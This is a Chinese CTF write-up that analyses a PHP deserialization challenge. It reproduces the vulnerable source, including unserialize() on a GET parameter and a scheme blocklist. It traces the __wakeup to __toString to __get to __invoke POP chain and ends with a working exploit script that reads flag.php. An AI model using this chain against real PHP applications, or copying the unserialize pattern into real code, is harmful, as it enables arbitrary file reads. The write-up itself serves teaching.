0x01 題目來源
來自於prontosil師傅的文章https://prontosil.club/2019/10/20/yi-dao-fan-xu-lie-hua-ti-de-fen-xi/#more
0x02 前言
很特殊的POP鏈,從一個小白的角度出發來剖析這道題
<?php
error_reporting(1);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
$this->str['str']->source;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($key)
{
$function = $this->p;
return $function();
}
}
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('index.php');
$show->_show();
}
0x03 分析
0#01 需要傳入程序中的參數
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('index.php');
$show->_show();
}
分析:
- 如果傳入hello參數, 進入反序列化
- 如果沒有傳入hello參數, 則會調用 Show這個類,顯示
index.php
的內容
0#02 反序列化鏈分析
根據 Read ()
類中的 file_get()
可以看出這里是反序列化的終點,通過 file_get_content()
函數去讀取flag文件
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
為了觸發 file_get()
函數我們可以定位到魔術方法 __invoke()
-
__invoke()
: 當類的一個對象被當成函數調用的時候觸發<?php class Test { public function __invoke($params1,$params2) { echo "__invoke()".'<p>'; echo "params1 : {$params1} <p>"; echo "params2 : {$params2} <p>"; } } $test = new Test(); $test(123,'aaa'); ?> // 結果顯示 //__invoke() //params1 : 123 //params2 : aaa
所以我們就需要考慮如何觸發 __invoke()
這個魔術方法?
定位到 Class Test的 __get()
方法, 此時的$function
參數一定是 Class Read, 這個類會被當做函數執行從而觸發了 __invoke()
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($key)
{
$function = $this->p;
return $function();
}
}
__get()
:當訪問類中的私有屬性或者是不存在的屬性, 觸發__get
魔術方法
那么問題又來了, 如何觸發 __get()
魔術方法呢?
定位到 Class Show
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
return $this->str['str']->source;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
看到有一個 __toString()
的 魔術方法, 里面返回了 $this->str['str']->source
, 倘若 $this->str['str']
的值為 Class Test,
那么 $this->str['str']->source
表示的意思就是 去調用了Test類中的不存在的屬性source
,從而就會觸發 __get()
魔術方法, 那么問題就變成如何觸發 __toString()
這個魔術方法了?
__toString()
:當類作為字符串使用時觸發
下面重難點來了!!!~
傳統思維就是找echo
、<?=?>
等輸出函數,因為他們默認是把類當作字符串使用,但這里發現無論如何都無法利用,而且一般在做CTF的題的時候,定式思維會認為 __wakeup()
這個魔術方法是需要繞過的,然而這里的 __wakeup()
確實我們反序列化入口的第一步~!
知識點: preg_match()
會將 $this->source
作為字符串使用,然后去匹配
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
所以,如果 source
傳入一個 Class Show的時候, 在反序列化開始時就是觸發 __wakeup
,然后通過 preg_match
觸發 __toString
形成一個完整的反序列化鏈
完整的鏈為:
__wakeup(Show) => preg_match => __toString(Test) => __get(Read) => __invoke => file_get => file_get_contents('flag.php')
0#03 EXP
<?php
class Read {
public $var = 'flag.php';
}
class Show
{
public $source;
public $str;
}
class Test
{
public $p ;
}
$a = new Show();
$a->source = $a; // toString;
$a->str['str'] = new Test();
$a->str['str']->p = new Read();
echo serialize($a);
拿到Flag!~
總結
序列化真的比較困難,需要你耐心推理,做出來的瞬間你會感到神清氣爽,還有就是不要被定式思維限制了自己的思維~